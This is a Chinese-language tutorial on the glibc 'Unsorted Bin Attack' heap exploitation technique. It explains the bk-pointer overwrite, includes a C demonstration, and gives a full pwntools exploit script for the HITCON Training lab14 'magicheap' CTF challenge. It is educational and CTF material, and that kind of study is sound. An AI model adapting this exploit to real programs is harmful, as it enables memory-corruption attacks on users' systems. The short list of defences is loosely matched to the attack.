Unsorted Bin Attack
字数 1969 2025-08-25 22:58:47
Unsorted Bin Attack 详细教学文档
1. 简介
Unsorted Bin Attack 是一种与 Glibc 堆管理机制中 Unsorted Bin 相关的攻击技术。该攻击可以实现修改任意地址值为一个较大的数值(虽然这个数值不可控)。攻击成功的前提是能够控制 Unsorted Bin Chunk 的 bk 指针。
2. Unsorted Bin 机制
2.1 Unsorted Bin 的基本特性
- Unsorted Bin 可视为空闲 chunk 回归所属 bin 之前的缓冲区
- 位于 bin 数组下标 1 处
- 只有一个双向链表
- 所有空闲 chunk 处于乱序状态(不按照 size 分类)
2.2 进入 Unsorted Bin 的情况
- 当一个较大的 chunk 被分割成两半后,如果剩下的部分大于 MINSIZE
- 释放一个不属于 fast bin 的 chunk,且该 chunk 不和 top chunk 紧邻
- 进行 malloc_consolidate 时,可能会把合并后的 chunk 放到 unsorted bin 中(如果不和 top chunk 近邻)
2.3 使用情况
- 遍历顺序是先进先出(FIFO):
- 插入时插入到 unsorted bin 的头部
- 取出时从链表尾获取
- 在程序 malloc 时:
- 如果在 fastbin 和 small bin 中找不到对应大小的 chunk,会尝试从 Unsorted Bin 中寻找
- 如果取出的 chunk 大小刚好满足,直接返回给用户
- 否则会把这些 chunk 分别插入到对应的 bin 中
3. Unsorted Bin 的结构
Unsorted Bin 在管理时为循环双向链表。例如,当 Unsorted Bin 中有两个 chunk 时,链表结构如下:
+---------+ +---------+ +---------+
| bin[0] |<-->| chunk1 |<-->| chunk2 |<-->...
+---------+ +---------+ +---------+
4. 攻击原理
Unsorted Bin Attack 的核心在于利用 Unsorted Bin 的链表操作机制。当从 Unsorted Bin 中取出一个 chunk 时,会执行以下操作:
victim = unsorted_chunks (av)->bk; // 获取最后一个 chunk
bck = victim->bk; // 获取 victim 的前一个 chunk
unsorted_chunks (av)->bk = bck; // 更新 unsorted bin 的 bk 指针
bck->fd = unsorted_chunks (av); // 关键操作:将 bck->fd 指向 unsorted bin
如果我们能够控制 victim 的 bk 指针,就可以让 bck->fd 写入一个较大的值(unsorted bin 的地址)。
5. 实例分析
5.1 基础示例代码
// gcc unsort.c -g -no-pie -o unsort
#include <stdio.h>
#include <stdlib.h>
int main() {
unsigned long target_var = 0;
fprintf(stderr,"&target_var and target_var:\n");
fprintf(stderr, "%p: %ld\n\n", &target_var, target_var);
unsigned long *p = malloc(400);
fprintf(stderr, "The first chunk_addr at: %p\n",p);
malloc(500); // 防止与top chunk合并
free(p);
fprintf(stderr, "The first chunk_fd is %p\n",(void *)p[1]);
p[1] = (unsigned long)(&target_var - 2); // 修改bk指针
fprintf(stderr, "Now,The first chunk_fd is %p\n\n", (void *)p[1]);
malloc(400); // 触发unsorted bin attack
fprintf(stderr, "target has been rewrite %p: %p\n", &target_var, (void *)target_var);
}
5.2 攻击步骤解析
- 分配一个 chunk (p) 并释放它,使其进入 unsorted bin
- 修改 p 的 bk 指针为目标地址 - 0x10(因为 fd 位于 chunk + 0x10 处)
- 再次分配相同大小的 chunk,触发 unsorted bin 操作
- 目标地址被写入一个较大的值(unsorted bin 的地址)
6. 实际案例:HITCON Training lab14 magic heap
6.1 程序分析
程序提供了以下功能:
- 创建堆块(create_heap)
- 编辑堆块(edit_heap) - 存在堆溢出漏洞
- 删除堆块(delete_heap)
- 特殊选项 4869 - 当 magic > 0x1305 时执行 l33t() 获取 flag
6.2 利用思路
- 利用堆溢出修改 unsorted bin chunk 的 bk 指针
- 将 bk 指向 magic - 0x10
- 重新分配该 chunk,触发 unsorted bin attack
- magic 变量被修改为较大的值
- 触发特殊选项获取 flag
6.3 利用步骤
-
创建三个 chunk:
- chunk0 (0x20) - 用于溢出
- chunk1 (0x90) - 将被释放到 unsorted bin
- chunk2 (0x20) - 防止 chunk1 与 top chunk 合并
-
释放 chunk1 到 unsorted bin
-
通过 chunk0 的堆溢出修改 chunk1 的 bk 指针:
- 构造 payload:填充 + size + fd + bk
- bk 设置为 magic - 0x10
-
重新分配 chunk1,触发攻击
-
调用特殊选项 4869 获取 flag
6.4 完整利用代码
from pwn import *
context.log_level = 'debug'
io = process("./magicheap")
elf = ELF("./magicheap")
magic = 0x06020C0
def create(size, content):
io.recvuntil("Your choice :")
io.sendline(b'1')
io.recvuntil(": ")
io.sendline(str(size))
io.recvuntil(":")
io.sendline(content)
def edit(index, size, content):
io.recvuntil("Your choice :")
io.sendline(b'2')
io.recvuntil("Index :")
io.sendline(str(index))
io.recvuntil(": ")
io.sendline(str(size))
io.recvuntil(": ")
io.sendline(content)
def free(index):
io.recvuntil("Your choice :")
io.sendline(b'3')
io.recvuntil("Index :")
io.sendline(str(index))
# 利用步骤
create(0x20, "aaaa") #0
create(0x90, "bbbb") #1
create(0x20, "cccc") #2 防止与top chunk合并
free(1)
payload1 = b'a'*0x20 + p64(0) + p64(0xa1) + p64(0) + p64(magic - 0x10)
edit(0, len(payload1), payload1)
create(0x90, "dddd") # 触发unsorted bin attack
io.recvuntil("Your choice :")
io.sendline(b'4869') # 触发backdoor
io.interactive()
7. 防御措施
- 及时更新 glibc 版本(较新版本有更多安全检查)
- 使用堆保护机制如:
- FORTIFY_SOURCE
- 堆栈保护(-fstack-protector)
- 避免使用不安全的堆操作函数
- 对用户输入进行严格验证
8. 参考资源
通过理解 Unsorted Bin 的机制和操作流程,我们可以利用其链表操作特性实现任意地址写。虽然写入的值不可控,但在特定场景下(如修改关键变量)仍然非常有用。